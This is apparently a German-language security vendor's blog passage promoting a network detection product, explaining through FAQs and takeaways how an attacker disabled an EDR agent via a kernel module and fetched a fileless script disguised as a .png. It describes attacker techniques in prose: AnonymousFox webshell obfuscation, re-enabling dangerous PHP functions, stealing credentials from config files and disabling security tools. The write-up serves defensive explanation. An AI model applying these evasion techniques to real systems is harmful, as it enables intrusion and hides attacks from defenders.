Warum sieht ein NDR den Angriff weiter, wenn das EDR ausgeschaltet ist?

Weil der Sensor nicht auf dem angegriffenen System läuft. Er hängt passiv an einem Mirror-Port oder Network TAP und wertet den Verkehr auf einer anderen Maschine aus. Um diese Sicht zu manipulieren, bräuchte der Angreifer Zugriff auf die Netzwerkinfrastruktur oder auf den Sensor selbst, nicht nur auf den kompromittierten Server. Deshalb blieben die beiden Angriffswellen nach dem Ausschalten des Agenten vollständig dokumentiert, obwohl der Server selbst nichts mehr meldete.

Wie erkennt ein NDR einen fileless Download, der nie auf die Festplatte gelangt?

Genau daran, dass er trotzdem übertragen werden muss. Der Abruf lief unverschlüsselt über Port 80 direkt zu einer IP-Adresse, ohne vorherige DNS-Auflösung. Der Inhalt war ein Shell-Skript, obwohl die URL auf .png endete. Der User-Agent gab ein Mobilgerät an, obwohl die Anfrage von einem Serverprozess kam. Jedes dieser Merkmale ist auf der Leitung sichtbar, unabhängig davon, ob am Endpunkt je eine Datei entsteht.

Was ist eine AnonymousFox-Webshell?

Eine seit Jahren aktive Familie von PHP-Webshells und Mass-Droppern, die Shared-Hosting-Umgebungen mit WordPress, Joomla und generischem PHP trifft. Der Loader entpackt sich mehrstufig über base64, gzip und rot13, legt weitere Shells und Uploader ab, reaktiviert über eine eigene php.ini gefährliche PHP-Funktionen, liest Zugangsdaten aus Konfigurationsdateien aus und deaktiviert verbreitete Security-Plugins.

Was ist eine Auto-Response-Firewall-Regel und wie schnell greift sie?

IRONATE NDR setzt bei kritischen Alerts über die REST-API der Perimeter-Firewall automatisch eine Sperrregel, in beide Richtungen. Unterstützt werden unter anderem FortiGate, Palo Alto, Cisco und VMware NSX-T sowie ein generischer REST-Adapter. Zwischen Erkennung und wirksamer Regel liegen Sekunden, unabhängig von Wochentag und Uhrzeit, mit vollständigem Audit-Trail.

summarize Zusammenfassung / Key Takeaways

  • check_circleDer Endpoint-Schutz hat den Angriff sofort und korrekt erkannt und sauber auf MITRE ATT&CK abgebildet. Das Problem war nicht die Erkennung, sondern das Fehlen einer Reaktionsfähigkeit auf dieser Plattform.
  • check_circleEs blieb bei genau einem Alarm. Der Angreifer nutzte das ungenutzte Zeitfenster, um über die Kernel-Modul-Schnittstelle den Agenten stillzulegen (T1562.001, das Linux-Äquivalent zu BYOVD).
  • check_circleDie beiden folgenden Angriffswellen erzeugten keine Endpoint-Telemetrie mehr. Von der Konsole aus sah der eroberte Server aus wie ein sauberer: Fehlende Alarme sind keine Information.
  • check_circleDie Payload war fileless, mit vier Downloader-Fallbacks, deaktivierter TLS-Prüfung und Skriptinhalt hinter einer .png-Endung. Dateibasierte Kontrollen kommen dabei strukturell zu spät.
  • check_circleIRONATE NDR erkannte den Abruf über sechs unabhängige Netzwerksignale, setzte per Auto-Response eine Firewall-Sperrregel und zeichnete auch nach dem EDR-Kill lückenlos weiter. Die Nachladeversuche liefen ins Leere.
  • check_circleDer Kernpunkt ist Topologie, nicht Produktqualität: Ein Agent sitzt im Angriffsziel und ist abschaltbar, ein Netzwerksensor sitzt daneben und bleibt es nicht. Deshalb sind EDR und NDR komplementär, nicht austauschbar.

Quellen & Referenzen

  • • Interne IRONATE-Vorfallanalyse und Threat-Hunting-Playbook zur AnonymousFox-Webshell (Juli 2026), anonymisiert wiedergegeben
  • • MITRE ATT&CK: T1190 Exploit Public-Facing Application, attack.mitre.org
  • • MITRE ATT&CK: T1505.003 Server Software Component, Web Shell, attack.mitre.org
  • • MITRE ATT&CK: T1105 Ingress Tool Transfer, attack.mitre.org
  • • MITRE ATT&CK: T1547.006 Kernel Modules and Extensions, attack.mitre.org
  • • MITRE ATT&CK: T1562.001 Impair Defenses, Disable or Modify Tools, attack.mitre.org
  • • MITRE ATT&CK: T1027 Obfuscated Files or Information, attack.mitre.org
  • • Sophos Central Produktdokumentation zu Server Protection for Linux und Linux Runtime Detections (Plattformverfügbarkeit der Schutzfunktionen), docs.sophos.com
  • • Bundesamt für Cybersicherheit BACS, Meldepflicht und Empfehlungen für Betreiber kritischer Infrastrukturen, ncsc.admin.ch

Die Nennung von Sophos erfolgt rein sachlich zur Einordnung eines realen Vorfalls. Die beschriebenen Punkte betreffen Plattformverfügbarkeit und Richtlinienkonfiguration, nicht die Erkennungsqualität des Produkts, die in diesem Fall gut war.

Was passiert, wenn Ihr Agent verstummt?

IRONATE NDR erkennt agentenlos, was auf Ihren Servern wirklich nach aussen geht, blockiert kritische Verbindungen automatisch über die Firewall-API und zeichnet weiter auf, auch wenn der Endpunkt längst nichts mehr meldet. In 72 Stunden operativ, OnPrem in Ihrer Infrastruktur, DSG-konform. Wir zeigen Ihnen gerne, wie das in Ihrer Umgebung aussieht.

Unverbindliche Beratung anfordern arrow_forward